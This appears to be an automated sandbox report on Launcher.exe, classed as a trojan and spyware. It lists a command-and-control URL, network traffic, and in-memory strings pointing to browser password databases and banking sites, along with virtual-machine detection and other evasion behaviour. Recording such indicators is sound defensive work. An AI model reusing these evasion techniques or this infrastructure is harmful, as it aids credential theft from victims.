Source: Launcher.exe, 00000003.00000003.2299733490.000000000348A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2301211251.000000000348A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu:443/api
Source: Launcher.exe, 00000003.00000002.2301211251.000000000348A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu:443/apical
Source: Launcher.exe, 00000003.00000003.2215275401.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2192980116.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: Launcher.exe, 00000003.00000003.2192632874.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Launcher.exe, 00000003.00000003.2192632874.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Launcher.exe, 00000003.00000003.2215275401.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Launcher.exe, 00000003.00000003.2192933766.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: Launcher.exe, 00000003.00000003.2192632874.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: Launcher.exe, 00000003.00000003.2192632874.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: Launcher.exe, 00000003.00000003.2192632874.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Launcher.exe, 00000003.00000003.2215275401.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49724 version: TLS 1.2

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_00433550 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_00433550

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_00433550 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_00433550

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0023A050	0_2_0023A050
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00238190	0_2_00238190
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00246030	0_2_00246030
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00231000	0_2_00231000
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0023C530	0_2_0023C530
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00243D10	0_2_00243D10
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_002489D0	0_2_002489D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0023FE20	0_2_0023FE20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00248270	0_2_00248270
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0023DEF0	0_2_0023DEF0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00245780	0_2_00245780
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0023C785	0_2_0023C785
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00256FF2	0_2_00256FF2
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00246030	3_2_00246030
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00231000	3_2_00231000
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0023A050	3_2_0023A050
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00238190	3_2_00238190
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_002489D0	3_2_002489D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00248270	3_2_00248270
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00243D10	3_2_00243D10
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0023FE20	3_2_0023FE20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0023DEF0	3_2_0023DEF0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00245780	3_2_00245780
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00256FF2	3_2_00256FF2
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004228A0	3_2_004228A0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00427140	3_2_00427140
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00420970	3_2_00420970
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043B100	3_2_0043B100
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004389D0	3_2_004389D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00408AE0	3_2_00408AE0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00418BE3	3_2_00418BE3
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00409BA0	3_2_00409BA0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00424470	3_2_00424470
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042E434	3_2_0042E434
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042DD55	3_2_0042DD55
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00438660	3_2_00438660
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00440740	3_2_00440740
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00440FB0	3_2_00440FB0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00406840	3_2_00406840
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042C84A	3_2_0042C84A
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00438000	3_2_00438000
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042C8DC	3_2_0042C8DC
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004298A8	3_2_004298A8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00426959	3_2_00426959
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00406170	3_2_00406170
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00429100	3_2_00429100
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00430112	3_2_00430112
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00426910	3_2_00426910
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042C918	3_2_0042C918
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042C929	3_2_0042C929
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00404930	3_2_00404930
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004241E8	3_2_004241E8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004409F0	3_2_004409F0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042A1A2	3_2_0042A1A2
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004281BC	3_2_004281BC
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0040DA43	3_2_0040DA43
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043C250	3_2_0043C250
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041FAF0	3_2_0041FAF0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00425344	3_2_00425344
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004298A8	3_2_004298A8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00409300	3_2_00409300
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042D318	3_2_0042D318
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00402B20	3_2_00402B20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043BB30	3_2_0043BB30
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004283CA	3_2_004283CA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00424BE2	3_2_00424BE2
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042D380	3_2_0042D380
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00420BB0	3_2_00420BB0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00423450	3_2_00423450
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043F450	3_2_0043F450
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041AC64	3_2_0041AC64
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0040546B	3_2_0040546B
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00405C20	3_2_00405C20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041CC20	3_2_0041CC20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00406CD0	3_2_00406CD0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00440CD0	3_2_00440CD0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004304FB	3_2_004304FB
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00418490	3_2_00418490
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004294BD	3_2_004294BD
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00403550	3_2_00403550
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043F550	3_2_0043F550
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042CD67	3_2_0042CD67
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041F510	3_2_0041F510
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00427580	3_2_00427580
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00408590	3_2_00408590
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00437DA0	3_2_00437DA0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00424DB0	3_2_00424DB0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00409650	3_2_00409650
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042DD4E	3_2_0042DD4E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00431670	3_2_00431670
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00426630	3_2_00426630
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041CED0	3_2_0041CED0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041B68E	3_2_0041B68E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041EEA0	3_2_0041EEA0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00403F60	3_2_00403F60
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042E765	3_2_0042E765
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00427774	3_2_00427774
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041DF00	3_2_0041DF00
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043B700	3_2_0043B700
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004077E0	3_2_004077E0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0040AFE0	3_2_0040AFE0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00419FED	3_2_00419FED

Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 00408390 appears 46 times
Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 0024D198 appears 36 times
Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 0024A5E0 appears 66 times

Source: Launcher.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Launcher.exe

Static PE information: Section: .coS ZLIB complexity 1.0003382863562091

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@1/1

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_004389D0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_004389D0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3220:120:WilError_03

Source: Launcher.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Launcher.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Launcher.exe, 00000003.00000003.2148610731.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2169887271.0000000005A78000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\Launcher.exe

File read: C:\Users\user\Desktop\Launcher.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Launcher.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: Launcher.exe

Static PE information: section name: .coS

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00249BE5 push ecx; ret	0_2_00249BF8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00249BE5 push ecx; ret	3_2_00249BF8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00415893 push ds; ret	3_2_00415894
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041432B pushad ; ret	3_2_00414334
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041458B push ds; ret	3_2_00414594
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00414D98 push edx; retf	3_2_00414D9B
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00417FEF push 0FF1762Bh; iretd	3_2_00417FF4

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_00249CC2 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00249CC2

Source: C:\Users\user\Desktop\Launcher.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Launcher.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

API coverage: 9.0 %

Source: C:\Users\user\Desktop\Launcher.exe TID: 6800	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe TID: 6252	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0025174A FindFirstFileExW,	0_2_0025174A
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_002517FB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_002517FB
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0025174A FindFirstFileExW,	3_2_0025174A
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_002517FB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_002517FB

Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Launcher.exe, 00000003.00000003.2256165464.00000000034AB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2301302826.00000000034AB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2237349522.00000000034AA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2215064071.00000000034AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Launcher.exe, 00000003.00000003.2299733490.0000000003473000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2301211251.0000000003473000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX>K
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
